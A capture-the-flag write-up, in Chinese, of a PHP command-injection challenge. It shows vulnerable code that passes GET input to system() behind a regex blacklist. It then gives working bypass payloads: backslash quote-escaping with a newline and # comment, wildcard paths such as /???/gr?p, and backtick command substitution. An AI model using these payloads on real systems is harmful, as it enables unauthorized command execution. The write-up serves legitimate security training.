rce,正则匹配特点,文件通配符,命令换行,命令注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); $a = $_GET['a']; $b = $_GET['b']; // try bypass it if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a)) $a = ""; $a ='"' . $a . '"'; if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b)) $b = ""; $b = '"' . $b . '"'; $cmd = "file $a $b"; str_replace(" ","","$cmd"); system($cmd); ?>
|
预期解
正则中有一段
\\|
会将|进行转义,这是因为在preg_match中,三个反斜杠\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸。
传入a,b后会再前后加上双引号,所以我们可以利用 \ 给a后面的”进行转义,然后让前面的”匹配b前面的,然后利用%0a,来造成命令换行,利用#号来进行命令终结。
实质上还是因为正则\匹配不到\的问题再结合linux的命令终止符%20#处理双引号.
最终的payload为:
?a=\&b=%0a/???/gr?p -r ctf %23 %23='#' 或?a=\&b=%0a/???/gr[d-f]p+-r+.+%23
我的思路是因为正则匹配禁用了bin,所以估计实在bin目录下
非预期解
这边正则没有过滤 ``反引号间的内容,会被shell先执行。其输出被放入主命令后,主命令再被执行。
dir列目录
?a=`dir%20/
试试grep查找flag
?a=`/???/gr?p -r ctf